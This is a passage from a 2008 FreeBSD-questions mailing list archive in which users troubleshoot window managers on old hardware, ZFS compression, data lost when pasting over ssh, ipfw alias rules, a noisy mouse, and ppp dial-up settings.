From veltman at intergate.com Mon Dec 1 00:03:56 2008 From: veltman at intergate.com (Harry Veltman) Date: Mon Dec 1 00:04:02 2008 Subject: Which FreeBSD is best for my PC? Message-ID: <002701c9538a$10ff0330$005bfb48@harryveltman> Which version and GUI will work best on the internet with my AT Pentium II 350MHz x86-based PC? Some web sites require Flash Player 8 or higher, and some require 128-bit encryption I think, but doesn't 40-bit encryption process data 3 times faster? How many bit encryption is the various versions of FreeBSD? Thanks. From valentin.bud at gmail.com Mon Dec 1 01:06:56 2008 From: valentin.bud at gmail.com (Valentin Bud) Date: Mon Dec 1 01:07:02 2008 Subject: 5 TB server In-Reply-To: <20081201013409.Y4805@wojtek.tensor.gdynia.pl> References: <20081128194531.7B17FB7C5@kev.msw.wpafb.af.mil> <20081128212753.D6715@wojtek.tensor.gdynia.pl> <20081128215528.35F4BB7C5@kev.msw.wpafb.af.mil> <139b44430811300753o780763c8xf9b4821a837443a1@mail.gmail.com> <20081201013409.Y4805@wojtek.tensor.gdynia.pl> Message-ID: <139b44430812010106n78ba2e05r5cbffd36adde8311@mail.gmail.com> On Mon, Dec 1, 2008 at 2:34 AM, Wojciech Puchar wrote: >> This is one of the main reasons i want to go with ZFS. Another would be >> the >> filesystem level compression of the data. I have noticed that 3dmax >> files (one of >> the programs the company works with) are very "compressable" (from 50 >> Mb to ~ 7Mb). > > will it be majority of data??? About 40% of it. 50% adobe *.psd and the other 10% all sort of data. a great day, v > From wojtek at wojtek.tensor.gdynia.pl Mon Dec 1 01:07:54 2008 From: wojtek at wojtek.tensor.gdynia.pl (Wojciech Puchar) Date: Mon Dec 1 01:08:03 2008 Subject: 5 TB server In-Reply-To: <139b44430812010106n78ba2e05r5cbffd36adde8311@mail.gmail.com> References: <20081128194531.7B17FB7C5@kev.msw.wpafb.af.mil> <20081128212753.D6715@wojtek.tensor.gdynia.pl> <20081128215528.35F4BB7C5@kev.msw.wpafb.af.mil> <139b44430811300753o780763c8xf9b4821a837443a1@mail.gmail.com> <20081201013409.Y4805@wojtek.tensor.gdynia.pl> <139b44430812010106n78ba2e05r5cbffd36adde8311@mail.gmail.com> Message-ID: <20081201100726.Q7435@wojtek.tensor.gdynia.pl> >>> Mb to ~ 7Mb). >> >> will it be majority of data??? > > About 40% of it. 50% adobe *.psd and the other 10% all sort of data. so make sense. but make sure you do regular backups. From libc.mail at gmail.com Mon Dec 1 01:21:26 2008 From: libc.mail at gmail.com (Eugene Pimenov) Date: Mon Dec 1 01:21:33 2008 Subject: Pasting via ssh causes data loss In-Reply-To: <7A98FEF9-AA2E-4860-A1BD-A15BD9CACA34@hughes.net> References: <7A98FEF9-AA2E-4860-A1BD-A15BD9CACA34@hughes.net> Message-ID: On 1 ???, 05:03, Chris wrote: > > I was curious about your situation and set up a couple of tests. Noting > you mentioned iTerm, I thought I might be able to recreate it on a Mac > (OS-X 10.4 with 1.4.3 (100) version Terminal, I had removed iTerm due > to unreliability sometime back). I've downloaded iTerm for this test. I'm using Apple's Terminal.app. > > I copied a 23094 byte program I was working on locally in MacVIM. I > first did > a cat >testfile then pasted through an ssh terminal.app connection > over satellite (very > bad connection) into a FreeBSD 7.0 box I built in the last month. At > the far end it received 23094 bytes. sftp of the file to the remote and > diff showed no differences. I then opened an ssh session to a FreeBSD > server > on my local lan and repeated with the same results. No problems. I believe that FreeBSD fetches all data. When I ssh back to my mac from FreeBSD, I recieve all data all the time. TCP should handle errors, so nothing surprising here. > > The problem does not appear to be obvious or common so there must be > something > unique about how this situation if you have reproduced it on two > different terminal programs using ssh that would work correctly to other > servers using the same shell and collection method (e.g. cat >blah). I tried zsh, sh, bash and my program on the freebsd box. > > Something missing here. Have you checked if you have > errors shown on the interface of the server? Are there losses if you > sftp > the files from your machine to the remote (Try pushing a 1.5 MB file and > see if that shows failures). Did you install something other than the > default > OpenSSH on the server? Do the text files have something other than text > in them or even control sequences for the remote? Just taking > potshots here. sftp doesn't lose data. Even cat file | ssh host 'cat >file' doesn't. Only pasting. It's 100% reproducible, I don't think it's some kind of side effect. $ netstat -I bge0 Name Mtu Network Address Ipkts Ierrs Opkts Oerrs Coll bge0 1500 00:a0:d1:e3:fd:9c 55134708 0 48858321 0 0 (no errors) Terminal sessions: http://pastie.org/327615.txt?key=opkxhrjptnh3lebyn8rjlq http://pastie.org/327617.txt?key=gaznt1zmfi7usps74n2h5w I believe nothing strange was installed on the server... it's a typical freebsd web-server. > > A somewhat side note here, I would personally never think to move > files this > way since it's quite possible that content of files can disrupt the > stream. > I tend to use sftp. > I never do that for binary files. I use sftp either. However, when I need to change some source on a server, I already have an opened text editor with the file and a terminal, in that case cat >file is just quickier. BTW, thank you for your help, guys... From theultramage at gmail.com Mon Dec 1 01:23:34 2008 From: theultramage at gmail.com (=?UTF-8?Q?Viktor_=C5=A0tujber?=) Date: Mon Dec 1 01:24:06 2008 Subject: documentation problem for times(3) man page Message-ID: <890fa77e0812010051p2ab5c7cbv6e960124d699967b@mail.gmail.com> Hi. Half a year ago I started the following thread: http://lists.freebsd.org/pipermail/freebsd-questions/2008-April/172448.html. The subject was a documentation issue where a man page mismatched the actual system behavior. The issue is still present in 7.0-RELEASE and probably no action was taken since I submitted the report. I'd like to ask that someone acknowledge the issue and re-open http://www.freebsd.org/cgi/query-pr.cgi?pr=122359. Thank you. From freebsd at edvax.de Mon Dec 1 02:37:20 2008 From: freebsd at edvax.de (Polytropon) Date: Mon Dec 1 02:37:28 2008 Subject: Which FreeBSD is best for my PC? In-Reply-To: <002701c9538a$10ff0330$005bfb48@harryveltman> References: <002701c9538a$10ff0330$005bfb48@harryveltman> Message-ID: <20081201113658.b0264e2e.freebsd@edvax.de> On Sun, 30 Nov 2008 23:54:38 -0800, "Harry Veltman" wrote: > Which version and GUI will work best on the internet with my > AT Pentium II 350MHz x86-based PC? Allthough the FreeBSD base system gets better and faster in each version, the additional software and the GUI toolkits that belong to them eat up more and more ressources. Regarding the OS, you're be best off with the newest version of FreeBSD (version 7). This enables you to use the software that is present from the source tree of the ports collection or from the precompiled packages. Regarding GUI, I think you're talking about the window manager or desktop environment. It depends on your individual preferences and what / how / how much you're willing to learn. For example, I use WindowMaker as my window manager, but on slower systems, XFCE 3, Fluxbox, IceWM or even FVWM perform well and can be configured easily and according to your needs and preferences. On a system as you described it initially, you will need to build a system by your own in order to get best performance. When you did it correctly, you'll have an entirely good system - I know it, I have such an "oldie", too. :-) Then you need to choose your software (multimedia players, browser, mail client etc.), what you're going to use. Finally, it's a bit "trial and error", read: You'll have to test by yourself what fits your needs. There's nothing that is intended to fit per se. I can't answer your question regarding "Flash" and encryption; sadly, I never saw any need for this. -- Polytropon >From Magdeburg, Germany Happy FreeBSD user since 4.0 Andra moi ennepe, Mousa, ... From fbsd.questions at rachie.is-a-geek.net Mon Dec 1 02:53:17 2008 From: fbsd.questions at rachie.is-a-geek.net (Mel) Date: Mon Dec 1 02:53:23 2008 Subject: Which FreeBSD is best for my PC? In-Reply-To: <20081201113658.b0264e2e.freebsd@edvax.de> References: <002701c9538a$10ff0330$005bfb48@harryveltman> <20081201113658.b0264e2e.freebsd@edvax.de> Message-ID: <200812011153.12902.fbsd.questions@rachie.is-a-geek.net> On Monday 01 December 2008 11:36:58 Polytropon wrote: > I can't answer your question regarding "Flash" and encryption; > sadly, I never saw any need for this. Even if you get the software to work (which is a project in itself), performance will be very very bad. My parents have a similar machine using windows and a flash 8+ that's not just an advertisement takes about a minute to load after downloading and does 8-10 fps if it's a movie. We have a few oldies, just installed KDE 3.5 on a: CPU: VIA Nehemiah (997.17-MHz 686-class CPU) Origin = "CentaurHauls" Id = 0x698 Stepping = 8 That's pretty much as low as I'd go for normal desktop usage. The machine you're describing, still makes for a good router or LAN resolver with low traffic webserving. Backup machine if disks are good. Getting a decent performing desktop on there is as Polytropon said, a project you'd do for fun, not cause you need a desktop. -- Mel Problem with today's modular software: they start with the modules and never get to the software part. From freebsd at edvax.de Mon Dec 1 03:11:23 2008 From: freebsd at edvax.de (Polytropon) Date: Mon Dec 1 03:11:30 2008 Subject: Which FreeBSD is best for my PC? In-Reply-To: <200812011153.12902.fbsd.questions@rachie.is-a-geek.net> References: <002701c9538a$10ff0330$005bfb48@harryveltman> <20081201113658.b0264e2e.freebsd@edvax.de> <200812011153.12902.fbsd.questions@rachie.is-a-geek.net> Message-ID: <20081201121113.23e67986.freebsd@edvax.de> On Mon, 1 Dec 2008 11:53:11 +0100, Mel wrote: > We have a few oldies, just installed KDE 3.5 on a: > CPU: VIA Nehemiah (997.17-MHz 686-class CPU) > Origin = "CentaurHauls" Id = 0x698 Stepping = 8 Oldie @ 1 GHz? You must be joking. I'd bite my hand off for such hardware. :-) > That's pretty much as low as I'd go for normal desktop usage. For KDE? Yes, I do understand that. I would not even think about trying KDE or Gnome on a 300 MHz box. But desktop usage != KDE. KDE = preconfigured desktop with many built-in functionalities. I think Gnome has gotten pretty much the same like KDE in terms of ressource consumption. (I can't tell for sure, I'm not using it on a daily basis.) What about XFCE 4? Maybe that would be a good point to start, unless of couse the toolkit is too heavy... > The machine > you're describing, still makes for a good router or LAN resolver with low > traffic webserving. I have such an "oldie", P2 300 MHz, 256 MB RAM, ATI graphics (it's a Compaq Deskpro), FreeBSD 5.4, XFCE 3, OpenOffice 1.1.5, custom kernel, mplayer (compiled), xmms, Opera 7, Sylpheed. I'm not lying: This machine performs better in some regards than my 2 GHz P4 with FreeBSD 7! Applications come up faster, screen output renders faster. And even things that don't work on my "fast" system (wine, screen resolution in X, duplex printing) work excellently there. I've got no explaination for this, but it's true. As a server most "oldies" are good if they run well. The point of energy consumption is worth mentioning. I have an experimental server here, it's a P1 150 MHz with 128 MB RAM. For learning purposes completely sufficient to me. > Backup machine if disks are good. Or backup server if added some exchangable media (tape / DVD-RAM), inexpensive solution for automated data backup. > Getting a decent performing desktop on there is as Polytropon said, a project > you'd do for fun, not cause you need a desktop. That's correct. But hey, you learn a lot by building such a system, and in the end, you have your "ultimate desktop" right fitting your needs - not what the developers of let's say KDE are convinced you're wanting. That's a lot of work, I know, but once you're done, you can dump / restore this system to other machines of that kind (eventually needing to change some settings). The final quality of the machine is a direct result from the work you will decide to put in it. If you just want to do "fast, fast", the machine will be sloooooowwwww... :-) -- Polytropon >From Magdeburg, Germany Happy FreeBSD user since 4.0 Andra moi ennepe, Mousa, ... From wojtek at wojtek.tensor.gdynia.pl Mon Dec 1 03:19:27 2008 From: wojtek at wojtek.tensor.gdynia.pl (Wojciech Puchar) Date: Mon Dec 1 03:19:34 2008 Subject: Which FreeBSD is best for my PC? In-Reply-To: <20081201121113.23e67986.freebsd@edvax.de> References: <002701c9538a$10ff0330$005bfb48@harryveltman> <20081201113658.b0264e2e.freebsd@edvax.de> <200812011153.12902.fbsd.questions@rachie.is-a-geek.net> <20081201121113.23e67986.freebsd@edvax.de> Message-ID: <20081201121429.O9499@wojtek.tensor.gdynia.pl> >> We have a few oldies, just installed KDE 3.5 on a: >> CPU: VIA Nehemiah (997.17-MHz 686-class CPU) >> Origin = "CentaurHauls" Id = 0x698 Stepping = 8 > > Oldie @ 1 GHz? You must be joking. I'd bite my hand off for > such hardware. :-) well most of machines i use are <1Ghz and <512MB RAM. no need for mor. >> That's pretty much as low as I'd go for normal desktop usage. > > For KDE? Yes, I do understand that. I would not even think about > trying KDE or Gnome on a 300 MHz box. But desktop usage != KDE. icewm is fast and good. just make your menu by hand. and EVERYTHING can be configured well. fvwm2 is my choice because even more things could be configured (read: removed) making my desktop usage more efficient. no matter if you have 100Mhz of quad 3Ghz computer, removing things that are not useful is good thing. for example not using bloatware like KDE or Gnome or even xfce. They LOOK cool, but are not productive. contrary to windoze, window manager, "desktop" managers, all bells and whistles are NOT integral part of FreeBSD. it's just programs like everything else. you have choice of what of them you run, or (like me) not at all. my second computer at home is pentium 133 with 128MB RAM running without swap. and it works fast. From wojtek at wojtek.tensor.gdynia.pl Mon Dec 1 03:20:12 2008 From: wojtek at wojtek.tensor.gdynia.pl (Wojciech Puchar) Date: Mon Dec 1 03:20:19 2008 Subject: Which FreeBSD is best for my PC? In-Reply-To: <200812011153.12902.fbsd.questions@rachie.is-a-geek.net> References: <002701c9538a$10ff0330$005bfb48@harryveltman> <20081201113658.b0264e2e.freebsd@edvax.de> <200812011153.12902.fbsd.questions@rachie.is-a-geek.net> Message-ID: <20081201121925.X9499@wojtek.tensor.gdynia.pl> > We have a few oldies, just installed KDE 3.5 on a: > CPU: VIA Nehemiah (997.17-MHz 686-class CPU) > Origin = "CentaurHauls" Id = 0x698 Stepping = 8 > > That's pretty much as low as I'd go for normal desktop usage. The machine > you're describing, still makes for a good router or LAN resolver with low KDE make them slow. it's fast machine. > traffic webserving. Backup machine if disks are good. for this pentium 100 is OK. From beech at freebsd.org Mon Dec 1 03:26:48 2008 From: beech at freebsd.org (Beech Rintoul) Date: Mon Dec 1 03:27:05 2008 Subject: Which FreeBSD is best for my PC? In-Reply-To: <20081201121113.23e67986.freebsd@edvax.de> References: <002701c9538a$10ff0330$005bfb48@harryveltman> <200812011153.12902.fbsd.questions@rachie.is-a-geek.net> <20081201121113.23e67986.freebsd@edvax.de> Message-ID: <200812010226.46883.beech@freebsd.org> On Monday 01 December 2008 02:11:13 Polytropon wrote: > On Mon, 1 Dec 2008 11:53:11 +0100, Mel wrote: > > We have a few oldies, just installed KDE 3.5 on a: > > CPU: VIA Nehemiah (997.17-MHz 686-class CPU) > > Origin = "CentaurHauls" Id = 0x698 Stepping = 8 > > Oldie @ 1 GHz? You must be joking. I'd bite my hand off for > such hardware. :-) > > > That's pretty much as low as I'd go for normal desktop usage. > > For KDE? Yes, I do understand that. I would not even think about > trying KDE or Gnome on a 300 MHz box. But desktop usage != KDE. > KDE = preconfigured desktop with many built-in functionalities. > I think Gnome has gotten pretty much the same like KDE in terms > of ressource consumption. (I can't tell for sure, I'm not using > it on a daily basis.) What about XFCE 4? Maybe that would be a > good point to start, unless of couse the toolkit is too heavy... > > > The machine > > you're describing, still makes for a good router or LAN resolver with low > > traffic webserving. > > I have such an "oldie", P2 300 MHz, 256 MB RAM, ATI graphics > (it's a Compaq Deskpro), FreeBSD 5.4, XFCE 3, OpenOffice 1.1.5, > custom kernel, mplayer (compiled), xmms, Opera 7, Sylpheed. > I'm not lying: This machine performs better in some regards > than my 2 GHz P4 with FreeBSD 7! Applications come up faster, > screen output renders faster. And even things that don't work > on my "fast" system (wine, screen resolution in X, duplex > printing) work excellently there. I've got no explaination > for this, but it's true. > > As a server most "oldies" are good if they run well. The point > of energy consumption is worth mentioning. I have an experimental > server here, it's a P1 150 MHz with 128 MB RAM. For learning > purposes completely sufficient to me. > > > Backup machine if disks are good. > > Or backup server if added some exchangable media (tape / DVD-RAM), > inexpensive solution for automated data backup. > > > Getting a decent performing desktop on there is as Polytropon said, a > > project you'd do for fun, not cause you need a desktop. > > That's correct. But hey, you learn a lot by building such a > system, and in the end, you have your "ultimate desktop" right > fitting your needs - not what the developers of let's say KDE > are convinced you're wanting. That's a lot of work, I know, > but once you're done, you can dump / restore this system to > other machines of that kind (eventually needing to change > some settings). > > > > The final quality of the machine is a direct result from the > work you will decide to put in it. If you just want to do > "fast, fast", the machine will be sloooooowwwww... :-) I was running KDE3 on a 750MHz box and it was really slow. I can't even imagine trying it on a 350MHz box. Stick to one of the simpler smaller apps if you need a desktop. Beech -- --------------------------------------------------------------------------------------- Beech Rintoul - FreeBSD Developer - beech@FreeBSD.org /"\ ASCII Ribbon Campaign | FreeBSD Since 4.x \ / - NO HTML/RTF in e-mail | http://people.freebsd.org/~beech X - NO Word docs in e-mail | Skype: akbeech / \ - http://www.FreeBSD.org/releases/7.0R/announce.html --------------------------------------------------------------------------------------- From fbsd.questions at rachie.is-a-geek.net Mon Dec 1 03:49:48 2008 From: fbsd.questions at rachie.is-a-geek.net (Mel) Date: Mon Dec 1 03:49:55 2008 Subject: Which FreeBSD is best for my PC? In-Reply-To: <20081201121925.X9499@wojtek.tensor.gdynia.pl> References: <002701c9538a$10ff0330$005bfb48@harryveltman> <200812011153.12902.fbsd.questions@rachie.is-a-geek.net> <20081201121925.X9499@wojtek.tensor.gdynia.pl> Message-ID: <200812011249.44457.fbsd.questions@rachie.is-a-geek.net> On Monday 01 December 2008 12:19:50 Wojciech Puchar wrote: > > We have a few oldies, just installed KDE 3.5 on a: > > CPU: VIA Nehemiah (997.17-MHz 686-class CPU) > > Origin = "CentaurHauls" Id = 0x698 Stepping = 8 > > > > That's pretty much as low as I'd go for normal desktop usage. The machine > > you're describing, still makes for a good router or LAN resolver with low > > KDE make them slow. it's fast machine. It's not about that. I'm not advertizing a certain desktop, I have a personal preference, and I don't feel compelled to convert the heathens to my works of salvation, nor to lie and say that I installed a blank Xorg so that minimalist think I'm cool. Today's desktop *applications* require a certain ammount of resources and since OP already stated to want flash 8 with highbit encryption, you will need firefox and bunch of gstreamer-*/gnome stuff or linux emulation and a lot of good fortune when going with pluginwrapper. This VIA does quite well with devel/skype and fc6 linux emulation, once it started up, tho I haven't tried conference calls and takes 20% cpu just idling. Sure - you can trim down the resources a window manager takes up (which is actually easy to do in KDE, as in XFCE), but it's the applications that want more memory, more power. Natural evolution of the computer age: give a programmer more power, means a user gets more features and a slower comp. I think FreeBSD 5 to 7 is the only software I've seen that actually got faster and not just advertised it ;) -- Mel Problem with today's modular software: they start with the modules and never get to the software part. From wojtek at wojtek.tensor.gdynia.pl Mon Dec 1 03:54:33 2008 From: wojtek at wojtek.tensor.gdynia.pl (Wojciech Puchar) Date: Mon Dec 1 03:54:40 2008 Subject: Which FreeBSD is best for my PC? In-Reply-To: <200812011249.44457.fbsd.questions@rachie.is-a-geek.net> References: <002701c9538a$10ff0330$005bfb48@harryveltman> <200812011153.12902.fbsd.questions@rachie.is-a-geek.net> <20081201121925.X9499@wojtek.tensor.gdynia.pl> <200812011249.44457.fbsd.questions@rachie.is-a-geek.net> Message-ID: <20081201125344.M9628@wojtek.tensor.gdynia.pl> > since OP already stated to want flash 8 with highbit encryption, you will > need firefox and bunch of gstreamer-*/gnome stuff or linux emulation and a > lot of good fortune when going with pluginwrapper. but not KDE and Gnome desktop running. firefox is quite fast compared to it From fbsd.questions at rachie.is-a-geek.net Mon Dec 1 04:09:34 2008 From: fbsd.questions at rachie.is-a-geek.net (Mel) Date: Mon Dec 1 04:09:42 2008 Subject: Which FreeBSD is best for my PC? In-Reply-To: <20081201121113.23e67986.freebsd@edvax.de> References: <002701c9538a$10ff0330$005bfb48@harryveltman> <200812011153.12902.fbsd.questions@rachie.is-a-geek.net> <20081201121113.23e67986.freebsd@edvax.de> Message-ID: <200812011309.29942.fbsd.questions@rachie.is-a-geek.net> On Monday 01 December 2008 12:11:13 Polytropon wrote: > On Mon, 1 Dec 2008 11:53:11 +0100, Mel wrote: > > We have a few oldies, just installed KDE 3.5 on a: > > CPU: VIA Nehemiah (997.17-MHz 686-class CPU) > > Origin = "CentaurHauls" Id = 0x698 Stepping = 8 > > Oldie @ 1 GHz? You must be joking. I'd bite my hand off for > such hardware. :-) No need. Get a job at a computer service store, like my fiancee. You will get orphans donated in the 2-3Ghz range "just as long as my data is transfered to the new computer". ;) -- Mel Problem with today's modular software: they start with the modules and never get to the software part. From libc.mail at gmail.com Mon Dec 1 01:33:18 2008 From: libc.mail at gmail.com (Eugene Pimenov) Date: Mon Dec 1 04:25:46 2008 Subject: Pasting via ssh causes data loss In-Reply-To: <200812010631.35147.fbsd.questions@rachie.is-a-geek.net> References: <200811301736.30079.fbsd.questions@rachie.is-a-geek.net> <8392DE41-4800-4CE9-A078-C1921FADDD9A@gmail.com> <200812010631.35147.fbsd.questions@rachie.is-a-geek.net> Message-ID: <7f73df71-b828-41b6-a27b-c7c6626e8950@g38g2000yqn.googlegroups.com> On 1 ???, 08:31, Mel wrote: > On Sunday 30 November 2008 17:53:21 Eugene Pimenov wrote: > > > 30.11.2008, ? 19:36, Mel ???????(?): > > > On Sunday 30 November 2008 06:46:59 Eugene Pimenov wrote: > > > > Not sure, but can you copy files via cat? As in: > > > cat /tmp/foo | ssh machine "cat - >/tmp/foo" > > > > If that isn't truncated, I can only think of clipboard limitations > > > or tty > > > issues. > > > No, it's not truncated. All of 6060 bytes are copied. > > > What kind of tty issues/clipboard limitations might it be? > > *If* it's a tty issue, should be reproducable with telnet. If it's not, then I > suggest logging in with ssh -v and see if anything weird comes up. > The oddball out of the box answer would be that some character gets translated > as EOF from linux to bsd by the term settings, but it's a stretch. Can't check telnet... there's no telnet demon around. I tried ssh -vvv, nothing between connect and disconnect. It's definitely not an EOF. It just loses some part of data, doesn't stop receiving after some point. > > -- > Mel From mail at ozzmosis.com Mon Dec 1 04:28:13 2008 From: mail at ozzmosis.com (andrew clarke) Date: Mon Dec 1 04:28:20 2008 Subject: documentation problem for times(3) man page In-Reply-To: <890fa77e0812010051p2ab5c7cbv6e960124d699967b@mail.gmail.com> References: <890fa77e0812010051p2ab5c7cbv6e960124d699967b@mail.gmail.com> Message-ID: <20081201122809.GA92388@ozzmosis.com> On Mon 2008-12-01 09:51:46 UTC+0100, Viktor ??tujber (theultramage@gmail.com) wrote: > Hi. Half a year ago I started the following thread: > http://lists.freebsd.org/pipermail/freebsd-questions/2008-April/172448.html. > The subject was a documentation issue where a man page mismatched the > actual system behavior. Maybe the freebsd-doc mailing list is the place to discuss this? freebsd-doc@FreeBSD.org. From mister.olli at googlemail.com Mon Dec 1 04:44:42 2008 From: mister.olli at googlemail.com (Mister Olli) Date: Mon Dec 1 04:44:51 2008 Subject: Which FreeBSD is best for my PC? In-Reply-To: <002701c9538a$10ff0330$005bfb48@harryveltman> References: <002701c9538a$10ff0330$005bfb48@harryveltman> Message-ID: <1228133940.4102.42.camel@phoenix.blechhirn.net> hi... > Which version and GUI will work best on the internet with my AT > Pentium II 350MHz x86-based PC? Some web sites require Flash Player 8 > or higher, and some require 128-bit encryption I think, but doesn't > 40-bit encryption process data 3 times faster? How many bit > encryption is the various versions of FreeBSD? Thanks. Can't tell you about the freebsd version, but my personal favour for a slim and really fast GUI is enlightenment... from my knowledge it's designed and tested for machines of this power (I read a note by one of the main developer that he's testing it on a 150MHz to see if it performs). it's a little playtime to setup it up, since you can configure almost everything. but it's really neet, has some nice eye-candy and is fast too... my absolute favorite and it boosted my productivity (after 2 weeks of configuring&customizing) to a level no other GUI in this world can give me... but just my 2 cents ;-)) greetz olli From smithi at nimnet.asn.au Mon Dec 1 04:51:42 2008 From: smithi at nimnet.asn.au (Ian Smith) Date: Mon Dec 1 04:51:49 2008 Subject: Is there anything weird I should know about using ipfw on alias addresses? In-Reply-To: <20081201120023.9E1821065688@hub.freebsd.org> References: <20081201120023.9E1821065688@hub.freebsd.org> Message-ID: <20081201233222.L34249@sola.nimnet.asn.au> On Mon, 01 Dec 2008 16:52:12 +1300 Brett Davidson wrote: > ifconfig shows the alias addresses correctly bound. > Creating an ipfw rule and testing it from the command line works > (connects out from master address, not alias) > > From website on alias address, the firewall blocks the packets. > > The weird thing is that it tags them (in the security log) as coming > from the master address (not the alias) out the correct interface. In a > normal world that would mean the packet would match!!!!! > > What's goin' on here Willis? Difficult to tell without seeing a) ifconfig b) netstat -rn c) at least the relevant firewall rule/s and d) log entries that illustrate your problem. Obscure sensitive information by all means, but otherwise pretend we haven't the slightest clue how your system is configured :) cheers, Ian From fbsd.questions at rachie.is-a-geek.net Mon Dec 1 04:52:31 2008 From: fbsd.questions at rachie.is-a-geek.net (Mel) Date: Mon Dec 1 04:52:37 2008 Subject: Pasting via ssh causes data loss In-Reply-To: <7f73df71-b828-41b6-a27b-c7c6626e8950@g38g2000yqn.googlegroups.com> References: <200812010631.35147.fbsd.questions@rachie.is-a-geek.net> <7f73df71-b828-41b6-a27b-c7c6626e8950@g38g2000yqn.googlegroups.com> Message-ID: <200812011352.27349.fbsd.questions@rachie.is-a-geek.net> On Monday 01 December 2008 10:33:17 Eugene Pimenov wrote: > On 1 ???, 08:31, Mel wrote: > > On Sunday 30 November 2008 17:53:21 Eugene Pimenov wrote: > > > 30.11.2008, ? 19:36, Mel ???????(?): > > > > On Sunday 30 November 2008 06:46:59 Eugene Pimenov wrote: > > > > > > > > Not sure, but can you copy files via cat? As in: > > > > cat /tmp/foo | ssh machine "cat - >/tmp/foo" > > > > > > > > If that isn't truncated, I can only think of clipboard limitations > > > > or tty > > > > issues. > > > > > > No, it's not truncated. All of 6060 bytes are copied. > > > > > > What kind of tty issues/clipboard limitations might it be? > > > > *If* it's a tty issue, should be reproducable with telnet. If it's not, > > then I suggest logging in with ssh -v and see if anything weird comes up. > > The oddball out of the box answer would be that some character gets > > translated as EOF from linux to bsd by the term settings, but it's a > > stretch. > > Can't check telnet... there's no telnet demon around. inetd: $ grep telnet /etc/inetd.conf #telnet stream tcp nowait root /usr/libexec/telnetd telnetd #telnet stream tcp6 nowait root /usr/libexec/telnetd telnetd Quick setup: remove appropreate hashmark above /etc/rc.d/inetd onestart > I tried ssh -vvv, nothing between connect and disconnect. > > It's definitely not an EOF. It just loses some part of data, doesn't > stop receiving after some point. Where does it get lost? Meaning, does it get over the wire? Hard to check encrypted, but a 3k diff should show up in number of the IP packets sent. Is it possible to compare tcpdump linux <-> linux vs linux <-> freebsd on the receiving end? -- Mel Problem with today's modular software: they start with the modules and never get to the software part. From wojtek at wojtek.tensor.gdynia.pl Mon Dec 1 04:55:01 2008 From: wojtek at wojtek.tensor.gdynia.pl (Wojciech Puchar) Date: Mon Dec 1 04:55:08 2008 Subject: Which FreeBSD is best for my PC? In-Reply-To: <1228133940.4102.42.camel@phoenix.blechhirn.net> References: <002701c9538a$10ff0330$005bfb48@harryveltman> <1228133940.4102.42.camel@phoenix.blechhirn.net> Message-ID: <20081201135437.C9869@wojtek.tensor.gdynia.pl> > too... my absolute favorite and it boosted my productivity (after 2 > weeks of configuring&customizing) to a level no other GUI in this world no other you tried. From gesbbb at yahoo.com Mon Dec 1 04:57:01 2008 From: gesbbb at yahoo.com (Jerry) Date: Mon Dec 1 04:57:08 2008 Subject: Vishnu is out of the office. In-Reply-To: References: Message-ID: <20081201075647.4463916b@scorpio> On Mon, 1 Dec 2008 14:31:04 +0800 vishnux@toray.com.my wrote: >I will be out of the office starting 12/01/2008 and will not return >until 12/12/2008. > >Please contact helpdesk directly for urgent matters at 043854184. Cool, I think I will contact them and inform them that your OoO responder is incorrectly configured. -- Jerry gesbbb@yahoo.com In America, any boy may become president and I suppose that's just one of the risks he takes. Adlai Stevenson -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 195 bytes Desc: not available Url : http://lists.freebsd.org/pipermail/freebsd-questions/attachments/20081201/04cef9b4/signature.pgp From bryant.eadon at gmail.com Mon Dec 1 05:41:30 2008 From: bryant.eadon at gmail.com (Bryant Eadon) Date: Mon Dec 1 05:41:39 2008 Subject: Noisy mouse In-Reply-To: <20081129183517.D11614@wojtek.tensor.gdynia.pl> References: <20081129183517.D11614@wojtek.tensor.gdynia.pl> Message-ID: <4933E969.80804@gmail.com> Wojciech Puchar wrote: >> or make a keystroke. Is this a bug, or a strange feature? How do i > > bad hardware design - mouse data signals gets through to audio signal. > > most of your computer's signal line are in megahertz range so you don't > hear anything, PS/2 mouse has 40kbps data rate. I've actually had this happen before. Somewhere along the line either : 1. your audio and mouse/keyboard cables are coming into close proximity to one another. or 2. Your mouse/kb cable is very close to a specific speaker. The solution is to move your mouse cable away from your speakers/cables. I guess you could shield it if you can't move it. Tinfoil around only the one cable at close proximity sections should do the trick. -B From smithi at nimnet.asn.au Mon Dec 1 06:00:30 2008 From: smithi at nimnet.asn.au (Ian Smith) Date: Mon Dec 1 06:00:38 2008 Subject: Problem about ppp -nat In-Reply-To: <20081130142757.GA926@gmail.com> References: <20081123120013.8EDF310657E3@hub.freebsd.org> <20081124012858.J43853@sola.nimnet.asn.au> <20081128163044.GA1850@gmail.com> <20081129222143.R34249@sola.nimnet.asn.au> <20081130142757.GA926@gmail.com> Message-ID: <20081201235157.J34249@sola.nimnet.asn.au> On Sun, 30 Nov 2008, Pongthep Kulkrisada wrote: > Hi all, > > > set log phase chat connect carrier link ipcp ccp ID0 TUN command > I still can't dial using this configuration... Yes sorry, that was from a really old system, from backups. > # ppp -background isp > Loading /lib/libalias_cuseeme.so > Loading /lib/libalias_ftp.so > Loading /lib/libalias_irc.so > Loading /lib/libalias_nbt.so > Loading /lib/libalias_pptp.so > Loading /lib/libalias_skinny.so > Loading /lib/libalias_smedia.so I'm surprised ppp would load these unless -nat was specified somewhere? My newest system that used ppp is 5.5-STABLE, up till last August, but I'm not up with it on 6 or 7, still this does look rather odd to me. Perhaps someone else could confirm whether ppp always loads these libalias modules, whether intending to use them or not? > Working in background mode > Using interface: tun0 > Warning: carrier: Invalid log value > Warning: link: Invalid log value > Warning: usage: set log [local] [+|-]all|async|cbcp|ccp|chat|command|connect|debug|dns|hdlc|id0|ipcp|lcp|lqm|phase|physical|radius|sync|tcp/ip|timer|tun... > Attempting redial > Attempting redial > Attempting redial > > I then removed ``carrier'' and ``link''. It always keeps redialing without > hearing dialing tone from the modem. So I removed ``connect'' again. The result was still the same. Sorry again. On 5.5 I just used 'log Phase LCP IPCP CCP tun command' once everything was running smoothly, using several different modems. > > Try /dev/cuaa0. At least in the olden days, cuad0 was configured more > > for dialin rather than dialout. This may? explain the next two lines: > It keeps redialing without hearing any tone from the modem. So I > switched back to /dev/cuad0. Then dial; now I hear dialing tone from > the modem but warning message of ``Child failed (errdead)'' occured > then line dropped. And can not connect. I tried it many times. Note > that /dev/cuad0 appeared in my > /usr/share/examples/ppp/ppp.conf.sample, not /dev/cuaa0. If I > remember correctly I changed from cuaa0 to cuad0 when I upgraded from > FBSD5.4R to FBSD6.2R. Ok. I 